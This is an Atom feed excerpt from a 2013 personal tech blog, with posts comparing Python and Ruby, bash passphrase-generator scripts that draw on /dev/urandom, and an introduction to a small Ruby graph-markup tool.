&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYv6TG5jgyS7jwurXfXszC-EKmpJge1cFzb4-R-8TJfREzsOLLpWiIFXugMUxTVrIgz7-ud-_hy0rdWCN5-hcDUNwmC9ZLBEadcs2boRHzWflsAAMA7IVELC4YKi7oDL5Or7y7vF0JwBs/s1600/Screen+Shot+2013-08-19+at+14.40.28.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;312&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYv6TG5jgyS7jwurXfXszC-EKmpJge1cFzb4-R-8TJfREzsOLLpWiIFXugMUxTVrIgz7-ud-_hy0rdWCN5-hcDUNwmC9ZLBEadcs2boRHzWflsAAMA7IVELC4YKi7oDL5Or7y7vF0JwBs/s400/Screen+Shot+2013-08-19+at+14.40.28.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Edit: The site has had some major updates following &lt;a href=&quot;http://blog.osvdb.org/2013/08/16/howdoireportavuln-com-good-intentions-needs-fix-ups-though/&quot;&gt;feedback&lt;/a&gt; from Jericho. Feel free to leave feedback in the comments below.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/8915865849633019357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/08/how-do-i-report-vulnerability.html#comment-form' title='64 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8915865849633019357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8915865849633019357'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/08/how-do-i-report-vulnerability.html' title='How do I report a vulnerability?'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYv6TG5jgyS7jwurXfXszC-EKmpJge1cFzb4-R-8TJfREzsOLLpWiIFXugMUxTVrIgz7-ud-_hy0rdWCN5-hcDUNwmC9ZLBEadcs2boRHzWflsAAMA7IVELC4YKi7oDL5Or7y7vF0JwBs/s72-c/Screen+Shot+2013-08-19+at+14.40.28.png" height="72" width="72"/><thr:total>64</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-660529298186833393</id><published>2013-05-16T17:10:00.002+01:00</published><updated>2013-05-16T17:26:10.324+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><title type='text'>A little python vs ruby</title><content type='html'>Just a little comparison of python vs ruby which nicely sums up why I prefer ruby to python.&lt;br /&gt;
&lt;br /&gt;
Coming from a perl background, parsing strings and manipulating data structures is the bread and butter of sysadmin scripting. Here we&#39;re going to split a string, add to the array, then join into a string again.&lt;br /&gt;
&lt;br /&gt;
First, in python:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;a = &quot;a b c&quot;.split()&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; a&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[&#39;a&#39;, &#39;b&#39;, &#39;c&#39;]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; len(a)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;3&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; a.append(&quot;d&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; &quot;,&quot;.join(a)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&#39;a,b,c,d&#39;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ok, fair enough I guess. Now lets look at ruby:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;a = &quot;a b c&quot;.split&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;=&amp;gt; [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;a.size&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;=&amp;gt; 3&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;a.push &quot;d&quot;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;=&amp;gt; [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;a.join &quot;,&quot;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;=&amp;gt; &quot;a,b,c,d&quot;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Notice the difference? I&#39;ll try to summarise it in text.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For python, we split the string to get an array. We then run a global method to find the size of the array. We then call a method on array to append the new element. Finally we run a join method on a string and pass it the array.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For ruby, we split the string to get an array. We then run a method on the array to get the size (.length would also have worked). We then run a method on the array to add the element. We then run a method on the array to join to get our final string.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
To me ruby is far more consistent. I&#39;m not saying python is a bad language, I just find ruby to be particularly&amp;nbsp;enjoyable to use.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Criticisms, suggestions and improvements welcome :)&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/660529298186833393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/05/a-little-python-vs-ruby.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/660529298186833393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/660529298186833393'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/05/a-little-python-vs-ruby.html' title='A little python vs ruby'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-1376535903402433597</id><published>2013-04-16T23:09:00.001+01:00</published><updated>2013-04-17T09:23:55.532+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="cryptography"/><category scheme="http://www.blogger.com/atom/ns#" term="dictionary"/><category scheme="http://www.blogger.com/atom/ns#" term="passphrase"/><category scheme="http://www.blogger.com/atom/ns#" term="password"/><category scheme="http://www.blogger.com/atom/ns#" term="randomness"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Passphrase Generators Part II</title><content type='html'>A while back I wrote a post about using bash as a passphrase generator (&lt;a href=&quot;http://blog.0x10.co.uk/2012/01/passphrase-generator.html&quot;&gt;here&lt;/a&gt;). The idea being that it would be better to pick &quot;randomly&quot; from a list of common words than it would be to try to mentally choose four words at random. Humans are not very good a being random [1]. Derren Brown, if you&#39;re reading this, I&#39;d love to see an episode where you plant a password into someone&#39;s head for something they believe is of utmost importance. This post addresses some security concerns about how the words are chosen at random.&lt;br /&gt;
&lt;br /&gt;
Speaking of passphrases and passwords, I should probably clarify what I mean by the two terms. A password I take to mean a private string which more or less resembles a &quot;word&quot; in the traditional sense. Typical and poor examples would be &quot;password&quot;, &quot;Password1&quot;, &quot;aksdfjslfjdf&quot; etc. Something like &quot;8yDcBPAllEFOLNNI89ZN4nq5&quot; being a good example. A passphrase I take to mean a private string composed of multiple &quot;words&quot;. For example &quot;That&#39;s me in the corner, that&#39;s me in the spot light&quot;, &quot;slgl sdf mcr asrj&quot; are poor examples, and &quot;Cupertino teenage fell Paradox&quot; is a good example. The analogy being to word and phrase in spoken languages. So generally, a good passphrase will be better than a good password because of length, assuming you havn&#39;t done something silly like using the lyrics of your&amp;nbsp;favorite&amp;nbsp;song. The passphrase would still need to be random, but easier to remember.&lt;br /&gt;
&lt;br /&gt;
Anyway, having spent some time chatting on IRC about the flaw of using % 10000, using Bash&#39;s $RANDOM variable and a few other things, I thought I would update the script to be more secure. The entropy lost from using % 10000 isn&#39;t particularly significant, but the way $RANDOM works means you could probably reduce the choice of possible words significantly if you knew when approximately the passphrase was being generated. Basically, $RANDOM seeds off gettimeofday&#39;s seconds, useconds and the bash PID. I haven&#39;t done the maths for exactly what the impact is, but I thought it would be worth this blog post.&lt;br /&gt;
&lt;br /&gt;
I am actually going to provide two new scripts. The previous method used a dictionary file with 10000 common words downloaded from the internet, and embedded them in the Bash script. Now, I still think this is a good approach because 10000^4 still gives enough possible combinations and because there are only 10000 words, many words will be familiar to most people and should therefore be easier to remember. I will first present an alternative approach.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;words=${1:-4}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;while true; do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; clear&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; for i in $(seq $words); do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; word=$(/usr/bin/shuf -n1 --random-source=/dev/urandom /usr/share/dict/words)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo -n &quot;$word &quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; done&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; echo &quot;&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; read -p &quot;Accept (y/n) [n]: &quot; answer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; if [ &quot;$answer&quot; == &quot;y&quot; ]; then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;done&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
You will probably notice two things. Firstly, it only takes one argument; the number of words to show, or 4 by default. The previous version of the script printed X number of words on Y lines so that you could choose a passphrase that suited you. However, there was always the temptation to create a new passphrase from a combination of what was shown on the screen. This is not ideal. You are better off rejecting a number of whole passphrases and then accepting one as-is, rather than combining several passphrases into one. The reason being that the process of combining passphrases is no longer random and there will probably be a bias towards a structure such as &quot;adjective noun verb adjective&quot;. Or something like that anyway.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
So, instead, we just keep looping until you accept the passphrase and clear the screen if you reject it (the default). By clearing the screen I hope to lessen the chance of you combining several passphrase - out of sight, out of mind as they say.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The second major change here is that instead of using 10000 common words downloaded from the Internet, we&#39;re using the OS&#39;s provided dictionary file. If your distribution doesn&#39;t have that file, see here&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Words_(Unix)&quot;&gt;http://en.wikipedia.org/wiki/Words_(Unix)&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We use the shuf command X number of times to select X words for the passphrase. On one of my machines there are&amp;nbsp;98326 words in /usr/share/dict/words. I think I saw many more on my Ubuntu system. So you can probably expect some pretty obscure passphrases. You&#39;ll also note that we tell shuf to use /dev/urandom as the source of randomness as the built in source isn&#39;t secure.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Right, now onto the other option. In this case we&#39;re going to just modify the previous script and fix the source of randomness. We&#39;ll also introduce the while true loop and hide previous rejected passphrases.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;dict=$1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;script=$2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;chars=&quot;a-zA-Z0-9 &quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;size=$(cat $dict | wc -l)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;echo &quot;#!/bin/bash&quot; &amp;gt; $script&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;( echo -n &quot;dict=( &quot;; i=0; cat $dict | while read word; do echo -n &quot;$word &quot; | tr -c -d &quot;$chars&quot;; if [ &quot;$i&quot; -eq &quot;10&quot; ]; then i=1; echo &quot;&quot;; fi; ((i++)); done; echo &quot;)&quot; ) &amp;gt;&amp;gt; $script&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;echo &quot;size=$size&quot; &amp;gt;&amp;gt; $script&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;cat &amp;lt;&amp;lt; &#39;EOF&#39; &amp;gt;&amp;gt; $script&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;words=${1:-4}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;while true; do&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; clear&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; for i in $(seq $words); do&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; index=$(cat /dev/urandom | tr -d -c &#39;0-9&#39; | fold -w 4 | head -1 | sed &#39;s/^0*//&#39;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; word=${dict[$index]}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo -n &quot;$word &quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; done&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; echo &quot;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; read -p &quot;Accept (y/n) [n]: &quot; answer&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; if [ &quot;$answer&quot; == &quot;y&quot; ]; then&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit 0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; fi&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;done&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;EOF&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;chmod +x $script&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Other than the loop change, the only difference is our source of randomness. Instead of using $RANDOM we read /dev/urandom directly. We strip out anything other than digits using the tr command and fold it to 4 characters (0000 to 9999). We then just take the first result and strip off any zeros from the front. We do this because bash doesn&#39;t treat 0080 as 80 and isn&#39;t happy using 0080 as an index. There is probably a better way of stripping of the zeros using bash&#39;s string manipulation, but this will do for now.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Running this script is the same as the previous version, you give it the dictionary and an output file name. E.g.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ wget http://wortschatz.uni-leipzig.de/Papers/top10000en.txt&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ ./make.sh top10000en.txt ppgen.sh &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Unfortunately the dictionary isn&#39;t provided over HTTPS, so it is possible that someone is going to MITM your download and change all the words to suit themselves.&lt;br /&gt;
&lt;br /&gt;
Perhaps something like this might help:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ wc -l top10000en.txt &lt;br /&gt;10000 top10000en.txt&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp;$ sort &amp;lt; top10000en.txt | uniq | wc -l&lt;br /&gt;10000&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
That way at least you know there are 10000 unique words. Either that or find a new dictionary available over HTTPS (and let me know where you found it if possible).&lt;br /&gt;
&lt;br /&gt;
Hopefully you&#39;ll find either of these approaches useful.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
[1]&amp;nbsp;&lt;a href=&quot;http://www.ncbi.nlm.nih.gov/pubmed/17888582&quot;&gt;http://www.ncbi.nlm.nih.gov/pubmed/17888582&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/1376535903402433597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/04/passphrase-generators-part-ii.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/1376535903402433597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/1376535903402433597'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/04/passphrase-generators-part-ii.html' title='Passphrase Generators Part II'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-4961562569330087047</id><published>2013-03-14T00:34:00.002+00:00</published><updated>2013-03-16T10:34:31.717+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="graphs"/><category scheme="http://www.blogger.com/atom/ns#" term="graphviz"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><category scheme="http://www.blogger.com/atom/ns#" term="visualisation"/><title type='text'>Ultra Light Graphs (ULG)</title><content type='html'>&lt;div&gt;Ultra Light Graphs, or ULG for short, is a tool that allows you to create basic graphs using nothing more than a few lines of text. The text format is designed to be meaningful in itself, which makes ULG a sort of markup language for graphs. It isn&#39;t intended to replace something more comprehensive like graphml or dot, but it does allow you to quickly write something that is readable in your favourite text editor and can be turned into an image that you might want to insert into documentation etc.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Edit:&lt;/h4&gt;
Installation can do be done using ruby gems:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ gem install ulg&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Using ULG&lt;/h3&gt;
&lt;br /&gt;
ULG is very easy to use. Just give it a file with the text in it and it will generate a png by default.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ ulg -h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Usage: ulg.rb [-o OUTPUT] [-s FILE] [-d] FILE FILE...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Reads from stdin if no input FILE given&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Other options:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; -o OUTPUT &amp;nbsp;Output format (png, dot, svg). Default png&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; -s FILE &amp;nbsp; &amp;nbsp;Save to file&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; -d &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Debug mode&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; -h &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; This help&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For example&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ ulg basic.ulg&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Reading basic.ulg&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Saving output to basic.ulg.png&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Basic example&lt;/h3&gt;
&lt;br /&gt;
Right, lets say you want to draw a basic graph. You open up your favourite text editor such as vim. You want two nodes and an arrow, so you might intuitively type something like this:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;internet ==&amp;gt; web dmz&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now, this is what ULG would make of just that one line:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR0MpVxiVYfS_GGZLxy9IErREs0hK77CIRIWpD34V2k8gDg19LXzJYU4W8cOuhofKb2epSesE4v5ZOdKMpq6QGVQA9HZGqoftpOCLqFRxiZzqtPAKvGmuxvls_6G9uVT1_vDmFH9v7Yfg/s1600/basic.ulg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR0MpVxiVYfS_GGZLxy9IErREs0hK77CIRIWpD34V2k8gDg19LXzJYU4W8cOuhofKb2epSesE4v5ZOdKMpq6QGVQA9HZGqoftpOCLqFRxiZzqtPAKvGmuxvls_6G9uVT1_vDmFH9v7Yfg/s1600/basic.ulg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Nice and simple.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Node shapes&lt;/h3&gt;
&lt;br /&gt;
